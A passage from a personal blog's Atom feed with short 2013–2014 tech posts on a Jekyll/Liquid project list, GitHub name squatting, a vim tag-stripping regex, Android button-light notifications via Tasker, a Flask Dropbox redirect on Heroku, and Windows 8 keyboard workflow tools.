In under twenty lines of code, I built a system for programmatically display a list of projects with descriptions, and look nice doing it.&lt;/p&gt;

&lt;h2 id=&quot;yaml&quot;&gt;YAML&lt;/h2&gt;
&lt;p&gt;Jekyll uses &lt;a href=&quot;http://www.yaml.org/&quot;&gt;YAML&lt;/a&gt;, a human readable data format like JSON, for configuration.
My system reads the data to display from a file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;projects.yml&lt;/code&gt;, stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_data/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The syntax is pretty self explanatory:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Project&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://example.com&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;short&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;description&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://example.com/optional.png&lt;/span&gt;

&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Project&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;2&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://example.com&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;Descriptions&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;can&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;span&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;several&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;and&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;b&amp;gt;HTML&amp;lt;/b&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;prize&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Best&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Example&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;YAML&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;liquid&quot;&gt;Liquid&lt;/h2&gt;
&lt;p&gt;Jekyll also uses &lt;a href=&quot;http://liquidmarkup.org/&quot;&gt;Liquid Templating&lt;/a&gt; for compile-time HTML generation, allowing for some pretty powerful stuff.
I use &lt;a href=&quot;https://pages.github.com/&quot;&gt;GitHub Pages&lt;/a&gt; for hosting, which means on every push, the project page (and everything, really) is regenerated.&lt;/p&gt;

&lt;p&gt;Liquid Templates provides conditional logic through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{%  %}&lt;/code&gt; tags, and text-resolving markup with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{{  }}&lt;/code&gt; tags.&lt;/p&gt;

&lt;p&gt;The relevant source for the page in question:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{% for project in site.data.projects %}
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;box css3-shadow&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
		{% if project.image %}
			&lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{project.url}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
				&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;image-rounded&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{project.image}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
			&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
		{% endif %}
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{project.url}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{{project.name}}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
		{{project.description}}
		{% if project.prize %}
			&lt;span class=&quot;nt&quot;&gt;&amp;lt;br&amp;gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;fa fa-trophy fa-lg&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt; {{project.prize}}
		{% endif %}
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
{% endfor %}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;For each entry in the YAML file, I make a div (styled with the first CSS I found – I’m not great at CSS). If we defined an image, insert that image, linking to the URL. A title linking to the URL and the description follow. If a prize was defined, display a &lt;a href=&quot;http://fortawesome.github.io/Font-Awesome/&quot;&gt;Font-Awesome&lt;/a&gt; trophy icon followed by the text.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Claiming an Inactive GitHub Account</title>
   <link href="http://revan.io/2014/02/25/claiming-an-inactive-github-account/"/>
   <updated>2014-02-25T00:00:00+00:00</updated>
   <id>http://revan.io/2014/02/25/claiming-an-inactive-github-account</id>
   <content type="html">&lt;p&gt;I recently found out that GitHub has a &lt;a href=&quot;https://help.github.com/articles/name-squatting-policy&quot;&gt;Name Squatting Policy&lt;/a&gt; whereby inactive accounts will be removed upon request.
This means that nice short handle someone claimed years ago and never used could be yours, assuming the account doesn’t have loads of private activity.&lt;/p&gt;

&lt;h2 id=&quot;considerations&quot;&gt;Considerations&lt;/h2&gt;
&lt;p&gt;After changing my account name, I had to update my domain settings to properly point to this website (hosted through github pages), and update the github pages repository to regenerate under this address.&lt;/p&gt;

&lt;p&gt;URL’s to your repositories will be properly forwarded, but your old account page will not forward to the new one. Remember to update any public references!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Stripping HTML with Regex</title>
   <link href="http://revan.io/2014/02/10/stripping-html-with-regex/"/>
   <updated>2014-02-10T00:00:00+00:00</updated>
   <id>http://revan.io/2014/02/10/stripping-html-with-regex</id>
   <content type="html">&lt;p&gt;I wanted to strip every set of angle brackets in a file, and googling just reminded me that &lt;a href=&quot;http://stackoverflow.com/a/1732454&quot;&gt;you can’t parse HTML with regex&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The vim command for this would be&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;:%s/&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&amp;lt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;^&amp;gt;]&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\)\+&lt;/span&gt;/&lt;span class=&quot;se&quot;&gt;\r&lt;/span&gt;/g&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;which replaces any amount of angle brackets with a carriage return.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>User level Button Light Notifications in Android</title>
   <link href="http://revan.io/2014/01/15/user-level-button-light-notifications-in-android/"/>
   <updated>2014-01-15T00:00:00+00:00</updated>
   <id>http://revan.io/2014/01/15/user-level-button-light-notifications-in-android</id>
   <content type="html">&lt;p&gt;On my phone, the HTC One X, the manufacturer chose to forgo the standard Android device notification LED.
This, combined with a screen that’s slow to turn on, makes checking for notifications unnecesarily tedious.&lt;/p&gt;

&lt;p&gt;My phone does have hardware buttons, though, which can be controlled using a root shell command.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=net.dinglisch.android.taskerm&quot;&gt;Tasker&lt;/a&gt; is a versatile Android
automation tool. I use it for, among other things, automatically silencing my phone during lectures.&lt;/p&gt;

&lt;p&gt;In this case, a simple profile suffices:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#On incoming notification:&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#Run root shell:&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;10 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /sys/devices/platform/msm_ssbi.0/pm8921-core/pm8xxx-led/leds/button-backlight/currents&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;(note that you’ll neeed to enable Tasker Accessibility service in settings in order to trigger on notifications)&lt;/p&gt;

&lt;p&gt;This command sets the brightness of the button backlight (values greater or less than 10 would be brighter
or fainter). Upon change of brightness, the buttons will stay lit until they are explicitly turned off –
which the system takes care of the next time the screen comes on.&lt;/p&gt;

&lt;p&gt;While the exact file path may change between devices, I’d hazard it’s mostly the same for hardware-buttoned 
devices.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Making a Memorable Dropbox Public File Redirect with Flask</title>
   <link href="http://revan.io/2013/11/15/making-a-memorable-dropbox-public-file-redirect-with-flask/"/>
   <updated>2013-11-15T00:00:00+00:00</updated>
   <id>http://revan.io/2013/11/15/making-a-memorable-dropbox-public-file-redirect-with-flask</id>
   <content type="html">&lt;p&gt;Files stored in your &lt;a href=&quot;https://db.tt/b5XaQPa&quot;&gt;Dropbox&lt;/a&gt; Public folder are viewable by anyone with access to
the URL, which is long and hard to remember but unique. &lt;a href=&quot;http://flask.pocoo.org/&quot;&gt;Flask&lt;/a&gt; is a
microframework for making lightweight dynamic websites in Python. In this post, I’ll be demonstrating how
to make a simple webapp with Flask that redirects requests to your Dropbox public folder, and hosting it.&lt;/p&gt;

&lt;h2 id=&quot;finding-your-user-constant&quot;&gt;Finding your user constant&lt;/h2&gt;

&lt;p&gt;Every file in your Public folder is available at the URL
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://dl.dropbox.usercontent.com/u/[user constant]/[filename]&lt;/code&gt;. To find your user constant, open
your Dropbox Public folder, right click on a file, select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dropbox &amp;gt; Copy Public Link&lt;/code&gt;, and paste into a
text editor.&lt;/p&gt;

&lt;h2 id=&quot;writing-the-app&quot;&gt;Writing the app&lt;/h2&gt;

&lt;script src=&quot;https://gist.github.com/7462815.js?file=app.py&quot;&gt; &lt;/script&gt;

&lt;p&gt;Uncomment line 2, and define &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USER_CONSTANT&lt;/code&gt; to be the constant number you found previously.&lt;/p&gt;

&lt;p&gt;Lines 6-8 return usage message if the app is accessed without a filename, lines 10-12 redirect to the
file with the specified name in your Public folder if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/[filename]&lt;/code&gt; is accessed, and the other lines
import and run Flask. That’s it!&lt;/p&gt;

&lt;h2 id=&quot;hosting-the-app&quot;&gt;Hosting the app&lt;/h2&gt;

&lt;p&gt;While you could run this app locally, it’s not exceptionally useful limited to your computer. To host
it for free, we’ll use &lt;a href=&quot;https://www.heroku.com/&quot;&gt;Heroku&lt;/a&gt;. Heroku uses &lt;a href=&quot;http://git-scm.com/&quot;&gt;git&lt;/a&gt; to
deploy your code. Make an account and create a new app, with a short, memorable name. It’ll generate
a customized git clone command. Run it in your terminal:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone git@heroku.com:[your app name].git &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; heroku

&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;your app name]&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Copy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.py&lt;/code&gt; to this directory, then we have to make two more files for Heroku to know what to do with
our app.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/7462815.js?file=Procfile&quot;&gt; &lt;/script&gt;

&lt;p&gt;The Procfile tells Heroku how to run our app. In this case, by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.py&lt;/code&gt;&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/7462815.js?file=requirements.txt&quot;&gt; &lt;/script&gt;

&lt;p&gt;requirements.txt lists all the packages our app depends on, which Heroku will install at compiletime.&lt;/p&gt;

&lt;p&gt;Now, add these three files to the repository, commit, and push:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git add app.py Procfile requirements.txt

git commit &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Initial Commit&quot;&lt;/span&gt;

git push heroku master&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Wait for compilation to finish, then check on your app at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://[your app name].herokuapp.com/&lt;/code&gt;. If you see
the usage message, it works! Now you can use the simpler &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://[your app name].herokuapp.com/[filename]&lt;/code&gt;
to access your Public files.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Keyboard Centered Workflow on Windows 8</title>
   <link href="http://revan.io/2013/11/09/keyboard-centered-workflow-on-windows-8/"/>
   <updated>2013-11-09T00:00:00+00:00</updated>
   <id>http://revan.io/2013/11/09/keyboard-centered-workflow-on-windows-8</id>
   <content type="html">&lt;p&gt;Over the summer at my internship, I ran into some trouble with my laptop’s wireless under Arch Linux.
Every five to ten minutes, the connection would cut out entirely and the SSID would disappear from the list,
reappearing after ten minutes of refreshing. None of my coworkers were having any trouble with their linux
wireless, and I could connect fine to any other network. After a few days of troubleshooting (reading forum
threads is slightly complicated by a lack of stable connection), I decided I’d have to go back to Windows.&lt;/p&gt;

&lt;p&gt;Out of the box, Windows is pretty terrible for development, especially coming from a tiling window manager
on Linux. With some third-party software, though, Windows can be pretty …alright.&lt;/p&gt;

&lt;h2 id=&quot;virtual-desktops&quot;&gt;Virtual Desktops&lt;/h2&gt;

&lt;p&gt;The single biggest feature I miss in Windows, and one that any sane environment has, is virtual desktops.
The idea is straightforward: instead of having a single desktop holding all of your running applications,
you have multiple “workspaces” between which you split them, useful if you intend on ever doing more than
one thing at a time.&lt;/p&gt;

&lt;p&gt;To this end, I have &lt;a href=&quot;http://dexpot.de/&quot;&gt;Dexpot&lt;/a&gt; set up with the following basic keybindings: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alt-[number]&lt;/code&gt;
to switch to that desktop, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alt-Shift-[number]&lt;/code&gt; to move the active window to that desktop. I also enabled
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Taskbar Pager&lt;/code&gt; plugin for a nice visual indicator.&lt;/p&gt;

&lt;p&gt;With virtual desktops, I find I have far fewer windows per desktop, so I don’t need the window grouping
introduced in 7. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Taskbar &amp;gt; Properties &amp;gt; Taskbar buttons: Combine when taskbar full&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Use small taskbar
buttons&lt;/code&gt; for the extra bit of vertical screen space.&lt;/p&gt;

&lt;h2 id=&quot;window-tiling&quot;&gt;Window Tiling&lt;/h2&gt;

&lt;p&gt;Another killer feature I need in a window manager is the ability to place windows without touching the mouse.
Windows 7+ includes the shortcuts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Super-[arrow]&lt;/code&gt; to place windows half left, half right, or maximized, but
that’s rather limited.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://winsplit-revolution.com/&quot;&gt;Winsplit Revolution&lt;/a&gt; is a simple program that provides
shortcuts for placing windows into a variety of tile positions. By default, shortcuts are mapped to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl-Alt-[numpad]&lt;/code&gt;, forming a nine number grid, but since my laptop has no numpad I’ve remapped these to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl-Alt-[left/right]&lt;/code&gt; for either side, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Super-Alt-[left/right]&lt;/code&gt; for the top half of either side,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Super-Ctrl-[left/right]&lt;/code&gt; for the lower half of either side, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl-Alt-Down&lt;/code&gt; to center. For working with 
multiple monitors, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl-Alt-n&lt;/code&gt; moves a window to the right monitor, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl-Alt-b&lt;/code&gt; moves it to the left.&lt;/p&gt;

&lt;p&gt;This makes for quick on-demand tiling, as shown:
&lt;img src=&quot;/public/tilingexample.png&quot; alt=&quot;Tiling example&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Entering a shortcut once will place the window in the respective location, a second will shrink to one third
the horizontal screen space, and a third will grow to two thirds the space.&lt;/p&gt;

&lt;h2 id=&quot;program-launching&quot;&gt;Program Launching&lt;/h2&gt;

&lt;p&gt;Juggling windows via keyboard would be a lot less effective if I still had to fall back to mouse to launch
them, of course. My main two programs, Chrome and Cygwin, I have pinned to the taskbar, making them accessible with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Super-[1/2]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For everything else, the application launcher &lt;a href=&quot;http://www.launchy.net/&quot;&gt;Launchy&lt;/a&gt; (also available through
&lt;a href=&quot;http://ninite.com/&quot;&gt;Ninite&lt;/a&gt;), bound to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alt-Space&lt;/code&gt;, can handle files and programs.&lt;/p&gt;

</content>
 </entry>
 

</feed>
